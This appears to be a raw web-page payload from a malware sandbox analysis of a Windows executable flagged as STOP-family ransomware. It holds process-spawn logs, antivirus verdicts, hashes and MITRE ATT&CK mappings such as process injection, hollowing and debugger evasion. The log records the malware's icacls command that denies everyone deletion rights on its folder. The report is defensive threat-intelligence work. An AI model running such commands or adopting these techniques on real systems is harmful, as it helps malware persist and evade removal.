"04587099.exe" wrote 41984 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388)72:T772,Spawned process "04587099.exe" (UID: 00000000-00005124) Spawned process "04587099.exe" (UID: 00000000-00006576) Spawned process "icacls.exe" with commandline "icacls "%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e" /deny *S-1-1-0:(OI)(CI)(DE,DC)" (UID: 00000000-00007112) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00005616) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00006344) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2136" (UID: 00000000-00006448) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2124" (UID: 00000000-00006372) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00004268) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00007000) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00004740) Spawned process "lsass.exe" (UID: 00000000-00000628) Spawned process "svchost.exe" with commandline "-k rpcss -p" (UID: 00000000-00000884) Spawned process "svchost.exe" with commandline "-k LocalServiceNoNetwork -p" (UID: 00000000-00000356) Spawned process "svchost.exe" with commandline "-k DcomLaunch -p" (UID: 00000000-00000812) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00005728) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005584) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005832) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00006148) Spawned process "04587099.exe" with commandline "--AutoStart" (UID: 00000000-00005792) Spawned process "04587099.exe" with commandline "--AutoStart" (UID: 00000000-00004284)73:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3dwAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAd3d3d3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAD////////+H///gf//gAAB/wAAAf4AAAH8AAAB+AAAAfAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAEAAAAB4AAAAeAAAAHgAAAB/////w==74:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3dwAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAd3d3d3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAD////////+H///gf//gAAB/wAAAf4AAAH8AAAB+AAAAfAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAEAAAAB4AAAAeAAAAHgAAAB/////w==75:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3dwAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAd3d3d3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAD////////+H///gf//gAAB/wAAAf4AAAH8AAAB+AAAAfAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAEAAAAB4AAAAeAAAAHgAAAB/////w==76:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3dwAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAd3d3d3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3cAAAB3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3cAAHd3d3d3d3d3d3d3d3d3AAB3d3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAD////////+H///gf//gAAB/wAAAf4AAAH8AAAB+AAAAfAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAEAAAAB4AAAAeAAAAHgAAAB/////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790943037299,"unified_at":"2026-10-02T12:10:37.299Z","metadata":{"hashes":{"sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","sha1":"633d89689d4b01c497a496e0753dd10abf7d9e7c","md5":"521673ec8970bb8c79e5b393af2c194b","sha512":"83941d289ef0b9e98d494d8a5f58bafc6c4ac60f3e51dbf48e148428646ef01c8a846944046981ef517d54bc9f52719b0375640b19db8f65f6e05e09db2a53ec","ssdeep":"12288:Ma03LB0TXOFWmVXaHY4GHovx1slZnNveWeUnPo06B593hsfM0Ottbx2HokzEquBk:Ma1XesqHo3s/NvFHnwB5t50ctbx2IaI","ssdeep_chunks":["12288:Ma03LB0","12288:a03LB0T","12288:03LB0TX","12288:3LB0TXO","12288:LB0TXOF","12288:B0TXOFW","12288:0TXOFWm","12288:TXOFWmV","12288:XOFWmVX","12288:OFWmVXa","12288:FWmVXaH","12288:WmVXaHY","12288:mVXaHY4","12288:VXaHY4G","12288:XaHY4GH","12288:aHY4GHo","12288:HY4GHov","12288:Y4GHovx","12288:4GHovx1","12288:GHovx1s","12288:Hovx1sl","12288:ovx1slZ","12288:vx1slZn","12288:x1slZnN","12288:1slZnNv","12288:slZnNve","12288:lZnNveW","12288:ZnNveWe","12288:nNveWeU","12288:NveWeUn","12288:veWeUnP","12288:eWeUnPo","12288:WeUnPo0","12288:eUnPo06","12288:UnPo06B","12288:nPo06B5","12288:Po06B59","12288:o06B593","12288:06B593h","12288:6B593hs","12288:B593hsf","12288:593hsfM","12288:93hsfM0","12288:3hsfM0O","12288:hsfM0Ot","12288:sfM0Ott","12288:fM0Ottb","12288:M0Ottbx","12288:0Ottbx2","12288:Ottbx2H","12288:ttbx2Ho","12288:tbx2Hok","12288:bx2Hokz","12288:x2HokzE","12288:2HokzEq","12288:HokzEqu","12288:okzEquB","12288:kzEquBk","24576:Ma03LB0","24576:a03LB0T","24576:03LB0TX","24576:3LB0TXO","24576:LB0TXOF","24576:B0TXOFW","24576:0TXOFWm","24576:TXOFWmV","24576:XOFWmVX","24576:OFWmVXa","24576:FWmVXaH","24576:WmVXaHY","24576:mVXaHY4","24576:VXaHY4G","24576:XaHY4GH","24576:aHY4GHo","24576:HY4GHov","24576:Y4GHovx","24576:4GHovx1","24576:GHovx1s","24576:Hovx1sl","24576:ovx1slZ","24576:vx1slZn","24576:x1slZnN","24576:1slZnNv","24576:slZnNve","24576:lZnNveW","24576:ZnNveWe","24576:nNveWeU","24576:NveWeUn","24576:veWeUnP","24576:eWeUnPo","24576:WeUnPo0","24576:eUnPo06","24576:UnPo06B","24576:nPo06B5","24576:Po06B59","24576:o06B593","24576:06B593h","24576:6B593hs","24576:B593hsf","24576:593hsfM","24576:93hsfM0","24576:3hsfM0O","24576:hsfM0Ot","24576:sfM0Ott","24576:fM0Ottb","24576:M0Ottbx","24576:0Ottbx2","24576:Ottbx2H","24576:ttbx2Ho","24576:tbx2Hok","24576:bx2Hokz","24576:x2HokzE","24576:2HokzEq","24576:HokzEqu","24576:okzEquB","24576:kzEquBk","12288:Ma1Xesq","12288:a1XesqH","12288:1XesqHo","12288:XesqHo3","12288:esqHo3s","12288:sqHo3s/","12288:qHo3s/N","12288:Ho3s/Nv","12288:o3s/NvF","12288:3s/NvFH","12288:s/NvFHn","12288:/NvFHnw","12288:NvFHnwB","12288:vFHnwB5","12288:FHnwB5t","12288:HnwB5t5","12288:nwB5t50","12288:wB5t50c","12288:B5t50ct","12288:5t50ctb","12288:t50ctbx","12288:50ctbx2","12288:0ctbx2I","12288:ctbx2Ia","12288:tbx2IaI"],"imphash":"4715153511f0bdc6b9dc2ed71a50afc0"},"file_info":{"file_name":"04587099.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":799744,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1685532010000,"last_seen":1685532010000,"last_multi_scan":1685532010000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["criminal","ransomware","stop","banker","dridex","filecoder","maldoc"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":81},"sandbox_signatures":{"informative_count":216,"suspicious_count":21,"malicious_count":12,"total":249},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ser.Zusy.4319","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ser.Zusy.4319 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Injector.gen!A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-XU","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Backdoor.Tofsee","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ser.Zusy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API during runtime"},{"type":"informative","value":"Contains NTDLL native APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to schedule tasks using COM objects"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Hijack Execution Flow","attack_id":"T1574","attack_id_wiki":"https://attack.mitre.org/techniques/T1574","identifiers":[{"type":"informative","value":"Loaded EXE module from outside of Windows folder"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Loaded modules"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains the ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Calls an API typically used to map section into the virtual address space of a process"},{"type":"informative","value":"Allocates virtual memory in a self process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"},{"type":"informative","value":"Calls an API typically used to unmap view of a section from a process"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to opens the access token associated with a process"},{"type":"informative","value":"Calls an API typically used to opens the access token associated with a thread"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Imports Mailslot related APIs"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging 